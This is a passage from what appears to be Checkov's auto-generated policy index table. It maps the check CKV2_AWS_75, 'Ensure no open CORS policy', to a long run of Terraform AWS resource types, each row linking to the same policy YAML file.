[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3328 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3329 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3330 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3331 | CKV2_AWS_75 | resource | aws_s3tables_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3332 | CKV2_AWS_75 | resource | aws_s3tables_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3333 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3334 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3335 | CKV2_AWS_75 | resource | aws_s3tables_table_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3336 | CKV2_AWS_75 | resource | aws_sagemaker_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3337 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3338 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3339 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3340 | CKV2_AWS_75 | resource | aws_sagemaker_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3341 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3342 | CKV2_AWS_75 | resource | aws_sagemaker_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3343 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3344 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3345 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3346 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3347 | CKV2_AWS_75 | resource | aws_sagemaker_hub | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3348 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3349 | CKV2_AWS_75 | resource | aws_sagemaker_image | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3350 | CKV2_AWS_75 | resource | aws_sagemaker_image_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3351 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3352 | CKV2_AWS_75 | resource | aws_sagemaker_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3353 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3354 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3355 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3356 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3357 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3358 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3359 | CKV2_AWS_75 | resource | aws_sagemaker_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3360 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3361 | CKV2_AWS_75 | resource | aws_sagemaker_space | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3362 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3363 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3364 | CKV2_AWS_75 | resource | aws_sagemaker_workforce | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3365 | CKV2_AWS_75 | resource | aws_sagemaker_workteam | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3366 | CKV2_AWS_75 | resource | aws_scheduler_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3367 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3368 | CKV2_AWS_75 | resource | aws_schemas_discoverer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3369 | CKV2_AWS_75 | resource | aws_schemas_registry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3370 | CKV2_AWS_75 | resource | aws_schemas_registry_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3371 | CKV2_AWS_75 | resource | aws_schemas_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3372 | CKV2_AWS_75 | resource | aws_secretsmanager_secret | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3373 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3374 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3375 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3376 | CKV2_AWS_75 | resource | aws_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3377 | CKV2_AWS_75 | resource | aws_security_group_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3378 | CKV2_AWS_75 | resource | aws_securityhub_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3379 | CKV2_AWS_75 | resource | aws_securityhub_action_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3380 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3381 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3382 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3383 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3384 | CKV2_AWS_75 | resource | aws_securityhub_insight | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3385 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3386 | CKV2_AWS_75 | resource | aws_securityhub_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3387 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3388 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3389 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3390 | CKV2_AWS_75 | resource | aws_securityhub_standards_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3391 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3392 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3393 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3394 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3395 | CKV2_AWS_75 | resource | aws_securitylake_data_lake | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3396 | CKV2_AWS_75 | resource | aws_securitylake_subscriber | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3397 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3398 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3399 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3400 | CKV2_AWS_75 | resource | aws_service_discovery_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3401 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3402 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3403 | CKV2_AWS_75 | resource | aws_service_discovery_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3404 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3405 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3406 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3407 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3408 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3409 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3410 | CKV2_AWS_75 | resource | aws_servicecatalog_product | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3411 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3412 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3413 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3414 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3415 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3416 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3417 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3418 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3419 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3420 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3421 | CKV2_AWS_75 | resource | aws_servicequotas_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3422 | CKV2_AWS_75 | resource | aws_servicequotas_template_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3423 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3424 | CKV2_AWS_75 | resource | aws_ses_configuration_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3425 | CKV2_AWS_75 | resource | aws_ses_domain_dkim | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3426 | CKV2_AWS_75 | resource | aws_ses_domain_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3427 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3428 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3429 | CKV2_AWS_75 | resource | aws_ses_email_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3430 | CKV2_AWS_75 | resource | aws_ses_event_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3431 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3432 | CKV2_AWS_75 | resource | aws_ses_identity_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3433 | CKV2_AWS_75 | resource | aws_ses_receipt_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3434 | CKV2_AWS_75 | resource | aws_ses_receipt_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3435 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3436 | CKV2_AWS_75 | resource | aws_ses_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3437 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes | Ensure no open CORS policy | Terraform | 